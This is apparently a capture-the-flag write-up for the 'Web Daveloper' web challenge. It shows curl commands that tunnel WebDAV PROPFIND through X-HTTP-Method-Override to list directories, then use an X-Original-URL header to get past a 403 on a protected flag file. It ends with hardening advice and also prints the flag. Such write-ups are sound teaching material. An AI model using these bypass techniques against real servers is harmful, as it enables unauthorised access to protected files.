Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
WebEasy

Web Daveloper

CTF writeup for Web Daveloper from Next Hunt

//Web Daveloper

>Challenge Overview

  • Category: Web

  • Target: http://ctf.nexus-security.club:3555/

  • Goal: Retrieve flag.txt somewhere on the remote server without brute force.

This service advertises itself as a simple Express app, but the hint in the title (“web daveloper”) and the HTTP headers both point toward WebDAV misconfigurations.

>1. Baseline Recon

  1. curl -i http://ctf.nexus-security.club:3555/ returned a minimal HTML page with a playful HTML comment (no real hint).

  2. OPTIONS / responded with:

   - Allow: GET, POST, OPTIONS

   - DAV: 1,2 and MS-Author-Via: DAV

   That combination is a classic marker of WebDAV support even if PROPFIND is not officially listed in Allow.

  1. Direct WebDAV verbs such as PROPFIND / returned 405 Method Not Allowed, suggesting the method might still be available but only via overrides (a common misconfiguration).

>2. Enabling PROPFIND via Header Override

Many Express-based WebDAV middlewares respect X-HTTP-Method-Override. I retried discovery with:

bash

curl -X POST \

  -H "X-HTTP-Method-Override: PROPFIND" \

  http://ctf.nexus-security.club:3555/

The response was a valid 207 Multi-Status XML document proving PROPFIND worked when tunneled through POST.

To obtain a directory listing in machine-friendly form I repeated the request with Depth: 1:

bash

curl -s -X POST \

  -H "X-HTTP-Method-Override: PROPFIND" \

  -H "Depth: 1" \

  http://ctf.nexus-security.club:3555/

This produced:

<multistatus><file>notes.txt</file><file>public</file><file>share</file><file>vault</file></multistatus>

>3. Exploring Exposed Directories

Using the same PROPFIND trick I enumerated each folder:

  • /public: index.html, readme.txt

  • /share: index.html, info.txt

  • /vault: flag.txt, secret.txt

Text files under /public and /share simply confirmed they were “public” areas. Attempting to GET /vault/flag.txt or /vault/secret.txt returned 403 responses, so the interesting files existed but were access-restricted.

>4. Bypassing the Access Control

Express proxies and some middlewares respect the X-Original-URL header, often intended for internal routing. If the app validates the visible path (/public/index.html) but ultimately serves content from whatever X-Original-URL points to, we can trick it into returning the protected file.

I reused an allowed URL (/public/index.html) and injected the header:

bash

curl -s \

  -H "X-Original-URL: /vault/flag.txt" \

  http://ctf.nexus-security.club:3555/public/index.html

Despite requesting /public/index.html, the body contained the flag:

nexus{w3bd4v_wchw3y4_h3d34rs_ezzzzzzzzz}

Because no authentication guarded the X-Original-URL override, this single request bypassed the WebDAV authorization layer entirely.

>5. Flag

nexus{w3bd4v_wchw3y4_h3d34rs_ezzzzzzzzz}

>Key Lessons & Hardening Ideas

  • Disable method overrides for sensitive routes, or at least whitelist only the overrides you truly need.

  • Validate the effective resource path after all proxy headers, not just before. Headers such as X-Original-URL, X-Rewrite-URL, or X-Forwarded-Uri should be stripped or rigorously authenticated when exposed to untrusted clients.

  • Restrict WebDAV to authenticated users or disable it entirely when not required; discoverable directory structures make privilege escalation trivial.

This chain—method override ➜ directory enumeration ➜ header-based path confusion—illustrates how “minor” configuration leaks can combine into a full compromise.